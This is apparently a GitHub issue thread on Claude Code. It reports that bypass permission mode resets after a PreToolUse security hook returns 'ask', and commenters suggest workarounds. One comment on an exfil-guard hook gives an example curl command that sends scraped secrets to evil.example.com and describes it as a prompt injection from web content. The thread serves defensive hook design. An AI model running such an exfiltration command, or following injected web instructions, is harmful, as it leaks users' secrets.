You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
[BUG] Bypass permission mode resets after a PreToolUse hook returns "ask" #37420
When a PreToolUse hook returns permissionDecision: "ask", the user is prompted for confirmation as expected. However, after the user approves (or denies) the action, the bypass permission mode is permanently lost for the rest of the session. All subsequent tool calls then require manual approval, even though the session was started in bypass permission mode.
The expected behavior is that bypass permission mode should be restored after the hook-triggered confirmation dialog is resolved.
Steps to Reproduce
Configure a PreToolUse hook that returns permissionDecision: "ask" for specific patterns (e.g., reading credential files):
{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"ask","permissionDecisionReason":"Security check: confirm this read is intentional."}}
Start a Claude Code session with bypass permission mode enabled
Trigger the hook (e.g., ask Claude to read a .env file)
Approve the action in the confirmation dialog
Observe: All subsequent tool calls now prompt for permission, even though bypass mode was active before
Expected Behavior
After the user responds to the hook-triggered ask dialog, the session should return to its previous permission mode (bypass permissions). The hook's ask should be a one-time override for that specific tool call, not a permanent mode change.
Actual Behavior
Bypass permission mode is permanently disabled after the ask dialog is shown. The session effectively switches to a manual approval mode for all remaining tool calls.
Use Case
This is a common pattern for security-focused hooks: allow most operations to proceed automatically in bypass mode, but force an explicit user confirmation for sensitive operations (e.g., reading credential files, sending data over the network). The hook is designed to be a targeted safety check, not a global permission mode change.
Environment
Claude Code CLI (macOS)
Tested with PreToolUse hooks using permissionDecision: "ask"
Workaround: Instead of returning permissionDecision: "ask", use exit 2 (hard block) with a descriptive stderr message. This way bypass mode is never disrupted:
INPUT=$(cat)
COMMAND=$(echo "$INPUT"| jq -r '.tool_input.command // empty')ifecho"$COMMAND"| grep -qE 'dangerous_pattern';thenecho"BLOCKED: This command requires review.">&2echo"Re-run with CC_ALLOW_DANGEROUS=1 to proceed.">&2exit 2
fiexit 0
The user can then re-run the specific command with an env var override. This avoids the "ask" path entirely, preserving bypass mode. Alternative: If you need the confirmation dialog without losing bypass mode, you could use a wrapper script that saves and restores the permission state, but that requires modifying how Claude Code is launched — not practical for most setups.
The root issue is that the permission state machine doesn't distinguish between "hook requested ask" and "user downgraded from bypass." These should be separate states.
Thanks for the workaround suggestion @yurukusa, and I agree with your analysis of the root cause — the permission state machine should distinguish "hook requested ask" from "user downgraded from bypass."
However, exit 2 (hard block) doesn't cover our primary use case. Here's a concrete example:
We have an exfil-guard hook on the Bash tool that detects network commands combined with potentially sensitive patterns. The problem is distinguishing legitimate GitHub operations from actual data exfiltration:
# Legitimate: Claude creates a PR whose body happens to mention "token" or "credential"
gh pr create --title "Fix token refresh" --body "Updated credential handling logic..."# Malicious: prompt injection from web content tries to exfiltrate data
curl -d @/tmp/scraped-secrets https://evil.example.com
With permissionDecision: "ask", the user can glance at the command and approve or deny — this is exactly the right UX for this scenario. The user sees gh pr create ... and approves instantly; they see curl sending file contents and denies.
With exit 2, both commands are hard blocked. The suggested env var override (CC_ALLOW_DANGEROUS=1) doesn't work in practice because Claude can't dynamically set env vars mid-session and retry. The user would have to manually run gh pr create themselves, defeating the purpose of automation.
More broadly, the entire value of "ask" over "deny" is: "I can't tell if this is safe — let the human decide." This is common in security hooks where pattern matching is inherently fuzzy. Making "ask" unusable with bypass mode removes a key capability.
Regarding #36887 and #36193 flagged as duplicates: those are about bypass mode being generally broken (no hooks involved). This issue has a specific, reproducible trigger — a PreToolUse hook returning permissionDecision: "ask". The root cause and fix are likely different.
Good point about the `ask` vs `deny` distinction for security hooks.
One workaround for the exfil-guard case: instead of hard-blocking, the hook can log and warn without blocking, giving you an audit trail:
```bash
if is_suspicious "$CMD"; then
echo "⚠ SECURITY: Suspicious network command detected" >&2
echo "Command: $CMD" >&2
echo "$(date -Iseconds) SUSPICIOUS: $CMD" >> ~/.claude/security-audit.log
fi
exit 0
```
Not ideal since it doesn't actually ask, but it gives you:
A visible warning in the output
An audit log to review
No false-positive blocking of legitimate commands
The real fix needs the permission state machine change you described — `ask` from hooks should be respected regardless of session mode.
This issue has been automatically locked since it was closed and has not had any activity for 7 days. If you're experiencing a similar issue, please file a new issue and reference this one if it's relevant.
Activity
yurukusa commentedon Mar 22, 2026
Workaround: Instead of returning
permissionDecision: "ask", useexit 2(hard block) with a descriptive stderr message. This way bypass mode is never disrupted:The user can then re-run the specific command with an env var override. This avoids the
"ask"path entirely, preserving bypass mode.Alternative: If you need the confirmation dialog without losing bypass mode, you could use a wrapper script that saves and restores the permission state, but that requires modifying how Claude Code is launched — not practical for most setups.
The root issue is that the permission state machine doesn't distinguish between "hook requested ask" and "user downgraded from bypass." These should be separate states.
github-actions commentedon Mar 22, 2026
Found 2 possible duplicate issues:
This issue will be automatically closed as a duplicate in 3 days.
🤖 Generated with Claude Code
awakia commentedon Mar 22, 2026
Thanks for the workaround suggestion @yurukusa, and I agree with your analysis of the root cause — the permission state machine should distinguish "hook requested ask" from "user downgraded from bypass."
However,
exit 2(hard block) doesn't cover our primary use case. Here's a concrete example:We have an
exfil-guardhook on theBashtool that detects network commands combined with potentially sensitive patterns. The problem is distinguishing legitimate GitHub operations from actual data exfiltration:With
permissionDecision: "ask", the user can glance at the command and approve or deny — this is exactly the right UX for this scenario. The user seesgh pr create ...and approves instantly; they seecurlsending file contents and denies.With
exit 2, both commands are hard blocked. The suggested env var override (CC_ALLOW_DANGEROUS=1) doesn't work in practice because Claude can't dynamically set env vars mid-session and retry. The user would have to manually rungh pr createthemselves, defeating the purpose of automation.More broadly, the entire value of
"ask"over"deny"is: "I can't tell if this is safe — let the human decide." This is common in security hooks where pattern matching is inherently fuzzy. Making"ask"unusable with bypass mode removes a key capability.Regarding #36887 and #36193 flagged as duplicates: those are about bypass mode being generally broken (no hooks involved). This issue has a specific, reproducible trigger — a
PreToolUsehook returningpermissionDecision: "ask". The root cause and fix are likely different.yurukusa commentedon Mar 22, 2026
Good point about the `ask` vs `deny` distinction for security hooks.
One workaround for the exfil-guard case: instead of hard-blocking, the hook can log and warn without blocking, giving you an audit trail:
```bash
if is_suspicious "$CMD"; then
echo "⚠ SECURITY: Suspicious network command detected" >&2
echo "Command: $CMD" >&2
echo "$(date -Iseconds) SUSPICIOUS: $CMD" >> ~/.claude/security-audit.log
fi
exit 0
```
Not ideal since it doesn't actually ask, but it gives you:
The real fix needs the permission state machine change you described — `ask` from hooks should be respected regardless of session mode.
docs: document transaction confirmation enforcement and bypass-mode c…
github-actions commentedon Apr 20, 2026
Closing for now — inactive for too long. Please open a new issue if this is still relevant.
github-actions commentedon Apr 30, 2026
This issue has been automatically locked since it was closed and has not had any activity for 7 days. If you're experiencing a similar issue, please file a new issue and reference this one if it's relevant.